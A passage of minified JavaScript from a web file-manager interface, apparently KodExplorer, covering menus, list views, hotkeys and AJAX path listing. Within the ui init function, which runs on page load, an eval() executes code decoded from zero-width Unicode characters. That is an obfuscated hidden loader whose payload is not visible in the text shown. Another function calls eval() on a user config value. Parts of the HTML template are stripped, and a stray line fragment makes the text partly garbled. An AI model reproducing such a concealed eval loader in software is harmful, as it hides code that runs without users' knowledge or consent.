nit();break;case"quit":break;default:}};return{initDesktop:u,initExplorer:p,initEditor:f,show:function(e,i,t){e&&(rightMenu.hidden(),$(e).contextMenu({x:i,y:t}))},menuShow:function(){var e="hidden",i=$(".context-menu-list").filter(":visible"),t=$(".context-menu-active");if(0!=i.length&&0!=t.length){if(i.find(".disable").addClass("disabled"),t.hasClass("menufile")){var a=ui.fileLight.type(ui.fileLight.fileListSelect());"zip"==a?i.find(".unzip").removeClass(e):i.find(".unzip").addClass(e),inArray(core.filetype.image,a)?i.find(".setBackground").removeClass(e):i.find(".setBackground").addClass(e),"oexe"==a?i.find(".app_edit").removeClass(e):i.find(".app_edit").addClass(e),inArray(core.filetype.image,a)||inArray(core.filetype.music,a)||inArray(core.filetype.movie,a)||inArray(core.filetype.bindary,a)?i.find(".open_text").addClass(e):i.find(".open_text").removeClass(e)}if(t.hasClass("menufolder")||t.hasClass("menufile")||t.hasClass("menuTreeFolder")||t.hasClass("menuTreeFile")){var n="disabled",o=".cute,.rname,.remove,.zip",s=".open,.open_text,.down,.share,.copy,.cute,.rname,.remove,.open_ie,.zip,.unzip,.search,.more_action";t.hasClass("file_not_readable")?i.find(s).addClass(n):i.find(s).removeClass(n),t.hasClass("file_not_writeable")?i.find(o).addClass(n):i.find(o).removeClass(n)}if(t.hasClass("dialog_menu")){var r=t.attr("id"),l=$.dialog.list[r];l.has_frame()?(i.find(".open_window").removeClass(e),i.find(".refresh").removeClass(e),i.find(".qrcode").removeClass(e)):(i.find(".open_window").addClass(e),i.find(".refresh").addClass(e),i.find(".qrcode").addClass(e))}if(t.hasClass("menuMore")){var c=0;ui.fileLight.fileListSelect().each(function(){var e=core.pathExt(ui.fileLight.name($(this)));(inArray(core.filetype.music,e)||inArray(core.filetype.movie,e))&&(c+=1)}),0==c?i.find(".playmedia").addClass(e):i.find(".playmedia").removeClass(e)}}},isDisplay:function(){return 0==$(".context-menu-list:visible").length?!1:!0},hidden:function(){$(".context-menu-list").filter(":visible").trigger("contextmenu:hide")}}}),define("app/src/explorer/ui",["./fileContent"],function(require,exports){var fileContent=require("./fileContent"),f5=fileContent.f5,f5Callback=fileContent.f5Callback,MyPicasa=new Picasa,initListType=function(e){G.user_config.list_type=e,LocalData.set("list_type",e),$(".set_icon_size").hide(),$(".tools-right button").removeClass("active"),$("#set_"+e).addClass("active"),$("#list_type_list,.list_split_box").addClass("hidden"),$(".set-file-icon-size").hide(),$(Config.FileBoxSelector).removeClass("fileList_icon fileList_list fileList_list_split"),"list"==e?($(Config.FileBoxSelector).addClass("fileList_list"),$("#list_type_list").removeClass("hidden"),ui.fileListResize.bindHeaderResize()):"icon"==e?($(Config.FileBoxSelector).addClass("fileList_icon"),$(".set_icon_size").show(),$(".set-file-icon-size").show()):"list_split"==e&&($(Config.FileBoxSelector).addClass("fileList_list_split"),$(".list_split_box").removeClass("hidden")),$(".menu_seticon").removeClass("selected"),$(".set_set"+e).addClass("selected"),$(".fileContinerMore").css("top",0);var i=$(".frame-right-main .tools").outerHeight();"list"==e&&(i+=26),$(".frame-header").is(":visible")&&(i+=$(".frame-header").outerHeight()),$(".bodymain").css("top",i)},setListType=function(e){initListType(e),f5(!1,!1),void 0===G.sid&&$.get("index.php?setting/set&k=list_type&v="+e)},setListSort=function(e,i){0!=e&&(G.user_config.list_sort_field=e,$(".menu_set_sort").removeClass("selected"),$(".set_sort_"+e).addClass("selected")),0!=i&&(G.user_config.list_sort_order=i,$(".menu_set_desc").removeClass("selected"),$(".set_sort_"+i).addClass("selected")),LocalData.set("list_sort_field",e),LocalData.set("list_sort_order",i),f5(!1,!0),$.ajax({url:"index.php?setting/set&k=list_sort_field,list_sort_order&v="+e+","+i})},bindEventView=function(){$(".menuRecycleButton").bind("mouseenter",function(){$(this).addClass("recycle_hover")}).bind("mouseleave",function(){$(this).removeClass("recycle_hover")}).bind("click",function(){ui.path.list("{user_recycle}")}),$(".menuShareButton").bind("mouseenter",function(){$(this).addClass("share_hover")}).bind("mouseleave",function(){$(this).removeClass("share_hover")}).bind("click",function(){ui.path.list("{user_share}:"+G.user_id+"/")})},bindEventSort=function(){$("#main_title div").die("click").live("click",function(){$(this).hasClass("resize")||("up"==$(this).attr("id")?$(this).attr("id","down"):$(this).attr("id","up"),setListSort($(this).attr("field"),$(this).attr("id")))})},bindEventTools=function(){$(".tools a,.tools button").bind("click",function(){var e=$(this).attr("id");toolsAction(e)})},bindEventTheme=function(){$(".dropdown-menu-theme li").click(function(){var e=$(this).attr("theme");ui.setTheme(e),$.ajax({url:"index.php?setting/set&k=theme&v="+e,dataType:"json",success:function(e){if(!e.code){var i=LNG.config_save_error_file;core.authCheck("setting:set")||(i=LNG.config_save_error_auth),Tips.tips(i,!1)}}})})},bindEventMenu=function(){$(".drop-menu-action li").bind("click",function(){if(!$(this).hasClass("disabled")){var e=$(this).attr("id");switch(e){case"open":ui.path.open();break;case"copy":ui.path.copy();break;case"rname":ui.path.rname();break;case"cute":ui.path.cute();break;case"clone":ui.path.copyDrag(G.this_path,!0);break;case"past":ui.path.past();break;case"remove":ui.path.remove();break;case"zip":ui.path.zip();break;case"share":ui.path.share();break;case"createLink":ui.path.createLink();break;case"add_to_fav":ui.path.fav();break;case"download":ui.path.download();break;case"info":ui.path.info();break;default:}}}),$(".dlg_goto_path").bind("click",function(){var e=G.json_data.info.admin_real_path;ui.path.list(e)})},getRowfileNumber=function(){if("icon"!=G.user_config.list_type)return 1;var e=$(Config.FileBoxSelector).width(),i=$(Config.FileBoxClass).outerWidth()+$sizeInt($(Config.FileBoxClass).css("margin-right"));return parseInt(e/i)},getPagefileNumber=function(){var e=getRowfileNumber(),i=$(Config.BodyContent).outerHeight(),t=$(Config.FileBoxClass).outerHeight()+$sizeInt($(Config.FileBoxClass).css("margin-bottom"));return Math.ceil(i/t)*e},getColfileNumberDesktop=function(){var e=$(Config.FileBoxSelector).outerHeight()-48,i=$(Config.FileBoxClass).outerHeight()+10;return parseInt(e/i)},toolsAction=function(e){switch(e){case"recycle_clear":ui.path.recycleClear();break;case"newfile":ui.path.newFile();break;case"refresh":ui.f5();break;case"newfolder":ui.path.newFolder();break;case"upload":core.upload();break;case"selectAll":ui.fileSelect.selectPos("all");break;case"download":ui.path.download();break;case"set_icon":$("#set_icon").hasClass("active")||setListType("icon");break;case"set_list":$("#set_list").hasClass("active")||setListType("list");break;case"set_list_split":$("#set_list_split").hasClass("active")||setListType("list_split");break;default:}},bindHotKeySelectFile=function(){var e,i=0,t="",a=300;Mousetrap.bind(["1","2","3","4","5","6","7","8","9","0","`","~","!","@","#","$","%","^","&","*","(",")","-","_","=","+","[","{","]","}","|","/","?",".",">",",","<","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"],function(n){var o=String.fromCharCode(n.charCode);return 0==i?(i=timeFloat(),t=o,e=setTimeout(function(){ui.path.setSelectByChar(t),i=0},a),void 0):o==t.substr(-1)?(ui.path.setSelectByChar(t),i=0,void 0):(a>timeFloat()-i&&(i=timeFloat(),t+=o,clearTimeout(e),e=setTimeout(function(){ui.path.setSelectByChar(t),i=0},a)),void 0)})},bindHotKey=function(){bindHotKeySelectFile(),Mousetrap.bind(["backspace","ctrl+backspace","command+backspace","ctrl+shift+r","f5","left","up","right","down","home","end","shift+left","shift+up","shift+right","shift+down","shift+home","shift+end","pageup","pagedown","ctrl+a","command+a","del","f2","ctrl+enter","command+enter","shift+enter","space","enter","ctrl+u","command+u","ctrl+e","command+e","ctrl+c","command+c","ctrl+x","command+x","ctrl+v","command+v","ctrl+f","command+f","f3","ctrl+i","alt+i","alt+n","alt+m","ctrl+s","command+s"],function(e,i){if("none"!=$("#PicasaView").css("display"))return!0;if(ui.isEdit())return!0;if(rightMenu.isDisplay())return!0;if($(".dialog_path_remove").length>0)return!0;switch(stopPP(e),i){case"backspace":ui.path.history.back();break;case"ctrl+backspace":case"command+backspace":ui.path.history.next();break;case"ctrl+shift+r":case"f5":ui.f5(!0,!0);break;case"left":case"up":case"right":case"down":case"home":case"end":case"shift+left":case"shift+up":case"shift+right":case"shift+down":case"shift+home":case"pageup":case"pagedown":case"shift+end":ui.fileSelect.selectPos(i);
-break;case"ctrl+a":case"command+a":ui.fileSelect.selectPos("all");break;case"del":ui.path.remove();break;case"f2":case"ctrl+enter":case"command+enter":ui.path.rname();break;case"shift+enter":ui.path.download();break;case"space":ui.path.open();break;case"enter":ui.path.open();break;case"ctrl+u":case"command+u":core.upload();break;case"ctrl+e":case"command+e":ui.path.openEditor();break;case"ctrl+c":case"command+c":ui.path.copy();break;case"ctrl+x":case"command+x":ui.path.cute();break;case"ctrl+v":case"command+v":ui.path.past();break;case"f3":case"ctrl+f":case"command+f":core.search($(".header-right input").val(),G.this_path);break;case"ctrl+i":case"alt+i":ui.path.info();break;case"alt+n":ui.path.newFile();break;case"alt+m":ui.path.newFolder();break;case"ctrl+s":case"command+s":ShareData.frameTop("OpenopenEditor",function(e){e.Editor.save()});break;default:}})},imageRotate=function(e){var i=$("#PV_Items li.current img").attr("src"),t="image&path=",a=i.substr(i.search(t)+t.length),n=$('[src="'+i+'"],[data-original="'+i+'"]'),o="./index.php?explorer/imageRotate&rotate="+e+"&path="+a;$.ajax({url:o,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){if(!e)return Tips.close(LNG.php_env_error_gd,!1),void 0;if(Tips.close(e),e.code){var t=function(e){var i="&picture=",t=e.search(i);return-1===t?e+i+UUID():e.substr(0,t)+i+UUID()},a=t(i),o=t($("#PV_Picture").attr("src"));n.attr("src",a),n.attr("data-original",a),ui.picasa.resetImage(o)}}})},resetDesktopIcon=function(){if("desktop"==Config.pageApp){var e=20,i=20,t=parseInt($(".file").css("height")),a=t-30,n=10,o=15,s=$(document).height()-50,r=Math.floor((s-e)/(t+n)),l=0,c=0,d=0,p=0,u=(s-e-r*(t+n)-n)/r;u>0&&(n+=u),$(".fileContiner .file").css("position","absolute"),$(".fileContiner .file").each(function(s){l=s%r,c=Math.floor(s/r),d=i+(a+o)*c,p=e+(t+n)*l,$(this).css({left:d,top:p})})}};return{f5:f5,f5Callback:f5Callback,fileContent:fileContent,picasa:fileContent.myPicasa,setListSort:setListSort,setListType:setListType,getRowfileNumber:getRowfileNumber,getPagefileNumber:getPagefileNumber,getColfileNumberDesktop:getColfileNumberDesktop,resetDesktopIcon:resetDesktopIcon,imageRotate:imageRotate,setTheme:function(e){G.user_config.theme=e,core.setSkin(e),ShareData.frameTop("OpenopenEditor",function(i){i.Editor.setTheme(e)}),ShareData.frameTop("Opensetting_mode",function(i){i.Setting.setThemeSelf(e)}),ShareData.frameTop("",function(i){i.ui.setTheme(e)}),$(".dropdown-menu-theme .list").removeClass("this"),$('.dropdown-menu-theme .list[theme="'+e+'"]').addClass("this")},setWall:function(e,i){$(".background").attr("src",e).one("load",function(){$(".desktop").css("background-image","url("+e+")"),"function"==typeof i&&i()})},setFileIconSize:function(e){ui.fileListResize.setFileIconSize(e,!0),"desktop"==Config.pageApp&&ui.f5()},isEdit:function(){var e=$(document.activeElement).get(0);if(e)return e=e.tagName,"INPUT"==e||"TEXTAREA"==e?!0:$(".file.file_icon_edit").length>0?!0:!1},init:function(){if(G.sid){LocalData.get("theme")&&(G.user_config.theme=LocalData.get("theme")),LocalData.get("list_type")&&(G.user_config.list_type=LocalData.get("list_type")),LocalData.get("list_sort_field")&&(G.user_config.list_sort_field=LocalData.get("list_sort_field")),LocalData.get("list_sort_order")&&(G.user_config.list_sort_order=LocalData.get("list_sort_order")),LocalData.set("theme",G.user_config.theme),LocalData.set("list_type",G.user_config.list_type),LocalData.set("list_sort_field",G.user_config.list_sort_field),LocalData.set("list_sort_order",G.user_config.list_sort_order);var url_path=window.location.href.split("#");2==url_path.length&&(G.this_path=urlDecode(url_path[1]))}if(ui.setTheme(G.user_config.theme),""==G.this_path){var pre=G.user_id||G.sid,localPath=LocalData.get("this_path_"+pre);G.this_path=localPath?localPath:G.myhome}eval("".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),fileContent.init(),resetDesktopIcon(),ui.path.history.add(G.this_path),f5Callback(function(){resetDesktopIcon()}),bindEventView(),bindEventSort(),bindEventTheme(),bindEventTools(),bindHotKey(),bindEventMenu()}}}),define("app/src/explorer/fileContent",[],function(require,exports){var myPicasa=new Picasa,tpl=require("./tpl/file_list_make.html"),pageLoadMax=200,ajaxLive=function(){ui.fileLight.init(),"desktop"==Config.pageApp&&ui.resetDesktopIcon(),"list_split"==G.user_config.list_type&&ui.fileListResize.bindSplitResize(),lazyLoadImage()},lazyLoadImage=function(){var e=$(".bodymain");"list_split"==G.user_config.list_type&&(e=$(".split_box").last().find(".content")),e.find(".lazyload_ready").lazyload({failure_limit:10,threshold:200,placeholder:G.static_path+"images/common/loading_circle.gif",skip_invisible:!1,effect:"fadeIn",container:e,load:function(){$(this).removeClass("lazyload_ready")}}).on("error",function(){var e=$(this).data("error_reload");e||($(this).attr("src",$(this).attr("src")+"#"+UUID()),$(this).data("error_reload","reload"))})},sortBy=function(e,i){var i="down"==i?-1:1;return function(t,a){var t=t[e],a=a[e];return ui.path.pathOperate.strSort(t,a)*i}},mainSetData=function(e){var i=makeHtml(G.json_data,0,getPageNumber()-1);if("desktop"==Config.pageApp){var t="";$(".systemBox").each(function(){t+=$(this).get(0).outerHTML}),i=t+i}i=htmlListAction(G.json_data,i,!1),"list_split"==G.user_config.list_type&&(i=''),e?$(Config.FileBoxSelector).hide().html(i).fadeIn(Config.AnimateTime):$(Config.FileBoxSelector).html(i),"list_split"==G.user_config.list_type&&$(".split_box").data("jsonData",G.json_data),ajaxLive()},scrollDelayTimer="",bindScrollLoadMore=function(){var e=$(".bodymain");e.scroll(function(){clearTimeout(scrollDelayTimer),scrollDelayTimer=!1,scrollDelayTimer=setTimeout(function(){0!=e.scrollTop()&&loadMore()},100)}),$(".splitLoadMore").live("dblclick",function(){$("#set_list").click()})},getPageNumber=function(){var e=ui.fileLight.fileListAll().last(),i=$(".bodymain .fileContinerMore");if(0==e.length)return pageLoadMax;var t=G.json_data.folderlist.length+G.json_data.filelist.length;if(i.css("top",0),pageLoadMax>t||"list_split"==G.user_config.list_type)return pageLoadMax;var e=ui.fileLight.fileListAll().last(),a=e.outerWidth()+$sizeInt(e.css("margin-right"))+3.5,n=parseInt($(".fileContiner").width()/a);"icon"!=G.user_config.list_type&&(n=1);var o=e.outerHeight()+$sizeInt(e.css("margin-bottom")),s=Math.ceil($(Config.BodyContent).height()/o),r=Math.ceil(t/n)*o;return i.css("top",r),s*n},resetTotalHeight=function(){var e=".bodymain .fileContiner > .file",i=$(e).last(),t=$(".bodymain .fileContinerMore");if(0!=i.length){var a=G.json_data.folderlist.length+G.json_data.filelist.length;if(t.css("top",0),!(pageLoadMax>a||"list_split"==G.user_config.list_type)){var n=i.outerWidth()+$sizeInt(i.css("margin-right")),o=parseInt($(".fileContiner").width()/n);"icon"!=G.user_config.list_type&&(o=1);var s=i.outerHeight()+$sizeInt(i.css("margin-bottom"));Math.ceil($(Config.BodyContent).height()/s);var r=Math.ceil(a/o)*s;t.css("top",r)}}},loadMoreDelayTimer,loadMore=function(){var e=$(".bodymain .fileContiner > .file"),i=e.last(),t=e.length-1,a=G.json_data.folderlist.length+G.json_data.filelist.length;if(!(t>=a-1||"list_split"==G.user_config.list_type)){var n=$(".bodymain").scrollTop(),o=$(".bodymain").height(),s=$(".bodymain").offset().top;$(".fileContiner").offset().top;var r=i.outerHeight()+$sizeInt(i.css("margin-bottom")),l=s+o-r;if(l>i.offset().top){var c=l-i.offset().top,d=getPageNumber(),p=Math.ceil(c/o),u=p*d+t;u>a&&(u=a),u-t>1e3?($(".init_loading").show(),clearTimeout(loadMoreDelayTimer),loadMoreDelayTimer=setTimeout(function(){loadMoreSet(t+1,u),$(".bodymain").scrollTop(n)},300)):loadMoreSet(t+1,u)}}},loadMoreSet=function(e,i){var t=makeHtml(G.json_data,e,i),a=$(t);a.appendTo(".fileContiner"),ui.fileLight.fileListAll($(Config.FileBoxClass)),ui.fileLight.menuAction("clear"),lazyLoadImage(),$(".init_loading").hide()},makeHtml=function(e,i,t){var a=template.compile(tpl),n="",o=[];o="up"==G.user_config.list_sort_order?e.folderlist.concat(e.filelist):e.filelist.concat(e.folderlist),(!t||t>=o.length-1)&&(t=o.length-1);for(var s=i;t>=s;s++){var r="folder"==o[s].type?"_folder":"_file",l={LNG:LNG,G:G,list:o[s],index:s,type:G.user_config.list_type+r};o[s].icon&&"icon_file"==l.type&&"oexe"==o[s].ext&&(l.oexe_icon=o[s].icon,"string"==$.type(o[s].icon)&&-1==o[s].icon.search(G.static_path)&&"http"!=o[s].icon.substring(0,4)&&(l.oexe_icon=G.static_path+"images/file_icon/icon_app/"+o[s].icon)),n+=a(l)}return n},pathChildrenTree=function(e,i){if("string"==$.type(e))var t=$('.file[data-path="'+pathHashEncode(e)+'"]');else{var t=e;e=ui.fileLight.path(t)}if(1==t.length){var a=t.find(".children_more"),n=t.find(".children_more_cert"),o=$('.children_list[data-path-children="'+pathHashEncode(e)+'"]'),s=23;if(n.toggleClass("cert_open"),o.toggleClass("hidden"),o.hasClass("child_aredy_init"))return pathListOdd(),void 0;t.addClass("loading_children"),pathGet(e,function(e){t.removeClass("loading_children");var n=makeHtml(e,0,getPageNumber()-1);""!=n&&(n=htmlListAction(e,n,!0)),o.html(n),ajaxLive(),o.addClass("child_aredy_init");var r=s+parseInt(a.css("padding-left"));o.find(".file .children_more").css("padding-left",r),pathListOdd(),"function"==typeof i&&i(e)})}},htmlListAction=function(e,i,t){if(""==i)return i=''+LNG.path_null+"
";var a=e.folderlist.concat(e.filelist);if(a.length>pageLoadMax){var n=core.pathFather(a[0].path);"list"==G.user_config.list_type&&t?i+=''+'
'+'
'+'
'+'
'+LNG.file_load_all+" "+"
"+"
":"list_split"==G.user_config.list_type&&(i+=''+'
'+'
'+'
'+LNG.file_load_all+"(to list) "+"
"+"
")}return i},pathListOdd=function(){var e=0;ui.fileLight.fileListAll().each(function(){0==$(this).parents(".hidden").length&&(0==e%2?$(this).addClass("file2"):$(this).removeClass("file2"),e++)})},pathChildrenSplit=function(e,i){var t=$('.file[data-path="'+pathHashEncode(e)+'"]'),a=$(".fileList_list_split .split_box[data-path='"+pathHashEncode(e)+"']");if(0==t.length)return"function"==typeof i&&i(),void 0;if(1==a.length)return a.nextAll().remove(),"function"==typeof i&&i(),void 0;var n=t.parent().parent();pathSplitCreate(e,i,n)},pathSplitCreate=function(e,i,t){pathGet(e,function(a){if("not_exists"==a.path_read_write)return i(a);var n=makeHtml(a,0,getPageNumber()-1);if(n=htmlListAction(a,n,!0),t)if(t.nextAll(".split_box").length>0){var o=t.next(".split_box");o.attr("data-path",pathHashEncode(e)).find(".content").html(n),o.nextAll().remove()}else n='',$(n).insertAfter(t).data("jsonData",a);else n='',$(n).appendTo(".fileList_list_split").data("jsonData",a);ajaxLive(),"function"==typeof i&&i()})},beforeSelectFileArr={},beforeListOpenArr={},beforeListOpen={},beforeListSplitSelect="",beforeScrollerLeft=0,f5Before=function(){if(!("icon"==G.user_config.list_type||beforeListOpenArr.length>0))if(beforeListOpenArr={},beforeListOpen={},"list"==G.user_config.list_type){var e=$(".child_aredy_init:visible");if(1>e.length)return;e.each(function(){var e=$(this),i=beforeListOpenArr,t=ui.fileLight.path(e,"data-path-children");beforeListOpen[t]=!1;for(var a=[t];0!=e.parents(".children_list").length;)e=e.parents(".children_list"),a.push(ui.fileLight.path(e,"data-path-children"));for(var n=a.length-1;n>=0;n--){var o=a[n];i[o]!==void 0?i=i[o]:i[o]={}}})}else if("list_split"==G.user_config.list_type){var i=beforeListOpenArr;beforeScrollerLeft=$(".html5_drag_upload_box").scrollLeft(),beforeListSplitSelect=ui.fileLight.path($(".fileList_list_split .split_box.split_select")),$(".fileContiner .split_box").each(function(){var e=ui.fileLight.path($(this));""!=e&&(i[e]={},i=i[e],beforeListOpen[e]=!1)})}},f5After=function(e){return"icon"==G.user_config.list_type||0==Object.keys(beforeListOpenArr).length?(f5AfterReloadFinished(e),void 0):("list_split"==G.user_config.list_type&&$(".fileList_list_split .split_box").remove(),f5AfterReload(beforeListOpenArr,e),void 0)},f5AfterReload=function(e,i){$.each(e,function(e,t){var a=pathChildrenTree;"list_split"==G.user_config.list_type&&(a=pathSplitCreate),a(e,function(){beforeListOpen[e]=!0,0!=Object.keys(t).length?f5AfterReload(t,i):f5AfterReloadFinished(i)})}),f5AfterReloadFinished(i)},f5AfterReloadFinished=function(e){for(var i in beforeListOpen)if(beforeListOpen[i]===!1)return;$(".html5_drag_upload_box").scrollLeft(beforeScrollerLeft),ui.path.setSelectByFilename(beforeSelectFileArr),ui.fileSelect.selectSplit(beforeListSplitSelect),beforeListOpenArr={},beforeListOpen={},beforeSelectFileArr={},beforeListSplitSelect="","function"==typeof e&&e()},f5=function(e,i,t){if(void 0==e&&(e=!0),void 0==i&&(i=!1),jsonDataSortTitle(),f5Before(),beforeSelectFileArr=ui.fileLight.getAllName(),e?pathGet(G.this_path,function(e){G.json_data=e,mainSetData(i),pathTypeChange(G.json_data),loadMore(),resetTotalHeight(),f5After(t),"desktop"!=Config.pageApp?ui.headerAddress.addressSet():checkRecycle()},function(){$(Config.FileBoxSelector).html("")}):(G.json_data=jsonDataSort(G.json_data),mainSetData(i),pathTypeChange(G.json_data),loadMore(),resetTotalHeight(),f5After(t)),"desktop"!=Config.pageApp){var a=G.user_id||G.sid;LocalData.set("this_path_"+a,G.this_path)}},jsonDataSort=function(e){e=jsonDatafilter(e);var i=e.folderlist,t=e.filelist;return i="size"==G.user_config.list_sort_field||"ext"==G.user_config.list_sort_field?i.sort(sortBy("name",G.user_config.list_sort_order)):i.sort(sortBy(G.user_config.list_sort_field,G.user_config.list_sort_order)),t=t.sort(sortBy(G.user_config.list_sort_field,G.user_config.list_sort_order)),e.folderlist=i,e.filelist=t,e},pathGet=function(e,i,t){var a="index.php?explorer/pathList&path="+urlEncode(e);G.user&&(a="index.php?share/pathList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),$.ajax({url:a,dataType:"json",beforeSend:function(){$(".tools-left .msg").stop(!0,!0).fadeIn(200)},success:function(e){if($(".tools-left .msg").fadeOut(300),!e||!e.code)return Tips.tips(e),"function"==typeof t&&t(),!1;var a=jsonDataSort(e.data);"function"==typeof i&&i(a)},error:function(e,i,a){$(".tools-left .msg").fadeOut(300),core.ajaxError(e,i,a),"function"==typeof t&&t()}})},f5Callback=function(e){f5(!0,!1,e)},jsonDatafilter=function(e){if(!e)return json_data;if(void 0!=e.share_list&&(self_share=e.share_list),e.filter_success===!0)return e;for(var i in e)if("filelist"==i||"folderlist"==i)for(var t=0;e[i].length>t;t++){var a=e[i][t];if(a.mtime&&11>=(""+a.mtime).length)if(a.atime=date(LNG.time_type,a.atime),a.ctime=date(LNG.time_type,a.ctime),e.info&&e.info.path_type==G.KOD_USER_SHARE&&-1==trim(e.this_path,"/").indexOf("/")){var n=parseInt(a.num_view);n=isNaN(n)?0:n;var o=parseInt(a.num_download);o=isNaN(o)?0:o;var s=date("Y/m/d ",a.mtime)+" ";s+=LNG.share_view_num+n+" "+LNG.share_download_num+o,a.mtime=s}else a.mtime=date(LNG.time_type,a.mtime);a.name=htmlEncode(a.name),a.sid&&"file"==a.type&&(a.ext=htmlEncode(core.pathExt(a.path))),pathIsShare(a.path)?a.meta_info="path_self_share":pathIsFav(a.path)&&(a.meta_info="treeFav"),"number"==typeof a.is_readable&&0==a.is_readable?a.mode="["+LNG.not_read+"] "+a.mode:"number"==typeof a.is_writeable&&1==a.is_writeable?a.mode="["+LNG.system_role_write+"] "+a.mode:"number"==typeof a.is_readable&&1==a.is_readable&&(a.mode="["+LNG.only_read+"] "+a.mode),e.info&&e.info.path_type==G.KOD_USER_RECYCLE&&trim(e.this_path,"/")==G.KOD_USER_RECYCLE&&(a.menuType="menuRecyclePath")}return e.filter_success=!0,e},jsonDataSortTitle=function(){var up=' ',down=' ';$("#main_title .this").toggleClass("this").attr("id","").find("span").html(""),$("#main_title div[field="+G.user_config.list_sort_field+"]").addClass("this").attr("id",G.user_config.list_sort_order).find("span").html(eval(G.user_config.list_sort_order))},pathIsShare=function(e){for(var i in G.self_share)if(core.pathClear(G.self_share[i].path)==core.pathClear(e))return!0;return!1},pathIsFav=function(e){var i=G.fav_list;for(var t in i)if(core.pathClear(t)==core.pathClear(e))return!0;return!1},checkRecycle=function(){$.ajax({url:"index.php?explorer/pathList&type=desktop&path="+G.KOD_USER_RECYCLE,dataType:"json",error:core.ajaxError,success:function(e){if(!e.code)return!1;var i=core.icon("recycle_full");0==e.data.folderlist.length&&0==e.data.filelist.length&&(i=core.icon("recycle")),$(".menuRecycleButton .ico").html(i)}})},pathTypeChange=function(e){if(e.info){var i=e.info,t=i.path_type,a=e.path_read_write,n="menuBodyMain menuRecycleBody menuShareBody",o=$(".html5_drag_upload_box");void 0!=a&&"writeable"!=a||t==G.KOD_USER_RECYCLE||t==G.KOD_GROUP_SHARE||t==G.KOD_USER_SHARE||t==G.KOD_USER_FAV||t==G.KOD_GROUP_ROOT_ALL||t==G.KOD_GROUP_ROOT_SELF?i.can_upload=!1:(i.can_upload=!0,1!=G.is_root&&t==G.KOD_GROUP_PATH&&"guest"==i.role&&(i.can_upload=!1)),"writeable"==a&&1==G.is_root&&(i.can_upload=!0);var s=[G.KOD_USER_SHARE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL];t==G.KOD_USER_RECYCLE?(o.removeClass(n).addClass("menuRecycleBody"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_recycle_tool").removeClass("hidden")):-1!==s.indexOf(t)?-1===core.pathClear(rtrim(G.this_path,"/")).indexOf("/")?(o.removeClass(n).addClass("menuShareBody"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_share_tool").removeClass("hidden"),i.id==G.user_id?($(".menuSharePathMenu").find(".open_the_path,.share_edit,.remove").removeClass("hidden"),$(".menuSharePathMore").find(".remove").removeClass("hidden")):($(".menuSharePathMenu").find(".open_the_path,.share_edit,.remove").addClass("hidden"),$(".menuSharePathMore").find(".remove").addClass("hidden"))):(o.removeClass(n).addClass("menuBodyMain"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_path_tool").removeClass("hidden")):(o.removeClass(n).addClass("menuBodyMain"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_path_tool").removeClass("hidden")),currentPathMenu(e)}},currentPathMenu=function(e){var i=e.info,t=e.path_read_write,a=i.path_type,n=".createLink,.createProject,.cute,.remove,.rname,.zip,.unzip,.newfile,.newfolder,.newfileOther,.app_create,.app_install,.past,.upload,.clone",o="#download,#rename,#cute,#remove,#zip,#past,#clone,#share,#rname,#createLink,.divider",s="disable";if(i.can_upload?($("ul.menufolder,ul.menuMore,ul.menufile,ul.fileContiner_menu").find(n).removeClass(s),$(".path_tips").hide(),$(".kod_path_tool>button").removeClass("disabled"),$(".kod_path_tool").find(o).removeClass("hidden")):($(".kod_path_tool").find(o).addClass("hidden"),$(".kod_path_tool>button").addClass("disabled"),$("ul.menufolder,ul.menuMore,ul.menufile,ul.fileContiner_menu").find(n).addClass(s),$(".path_tips span").html(LNG.only_read),a==G.KOD_USER_RECYCLE||a==G.KOD_USER_SHARE?($(".path_tips").hide(),$(".kod_path_tool>button").removeClass("disabled"),a==G.KOD_USER_SHARE&&G.user_id!=i.id&&$(".kod_path_tool>button").addClass("disabled")):$(".path_tips").show()),(a==G.KOD_GROUP_PATH||a==G.KOD_GROUP_SHARE)&&G.is_root||a==G.KOD_GROUP_PATH&&"owner"==i.role){var r=e.group_space_use;if(r){var l=core.userSpaceHtml(r.size_use+"/"+r.size_max);$(".group_space_use").removeClass("hidden").html(l)}else $(".group_space_use").addClass("hidden")}else $(".group_space_use").addClass("hidden");if(e.user_space){var r=e.user_space,l=core.userSpaceHtml(r.size_use+"/"+r.size_max);$(".user_space_info").html(l)}"not_exists"==t&&($(".path_tips span").html(LNG.not_exists),$(".path_tips").show()),a==G.KOD_USER_RECYCLE||a==G.KOD_USER_SHARE||a==G.KOD_GROUP_SHARE||a==G.KOD_GROUP_PATH?$("ul.menufolder,ul.menuMore,ul.menufile,ul.fileContiner_menu").find(".share").addClass("hidden"):$("ul.menufolder,ul.menuMore,ul.menufile,ul.fileContiner_menu").find(".share").removeClass("hidden"),1==G.is_root&&i.admin_real_path?$(".admin_real_path").removeClass("hidden"):$(".admin_real_path").addClass("hidden")};return{f5:f5,f5Callback:f5Callback,pathTypeChange:pathTypeChange,pathChildrenTree:pathChildrenTree,pathChildrenSplit:pathChildrenSplit,myPicasa:myPicasa,init:function(){$(window).bind("resize",function(){resetTotalHeight(),"desktop"==Config.pageApp?ui.resetDesktopIcon():ui.headerAddress.resetWidth(),"none"!=$("#PicasaView").css("display")&&myPicasa.setFrameResize()}),bindScrollLoadMore(),myPicasa.init(".picasaImage"),myPicasa.initData()}}}),define("app/src/explorer/tpl/file_list_make.html",[],"\n{{if type=='icon_folder'}}\n\n
\n {{if list.ext}}\n {{list.ext |core.icon}}\n {{else}}\n {{\"folder\" |core.icon}}\n {{/if}}\n
\n {{if list.meta_info}}\n
{{list.meta_info |core.icon}}
\n {{/if}}\n
\n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}} \n {{else}}\n {{list.name}}\n {{/if}}\n \n
\n
\n\n\n{{else if type=='list_folder'}}\n\n
\n {{if list.meta_info}}\n
{{list.meta_info |core.icon}}
\n {{/if}}\n
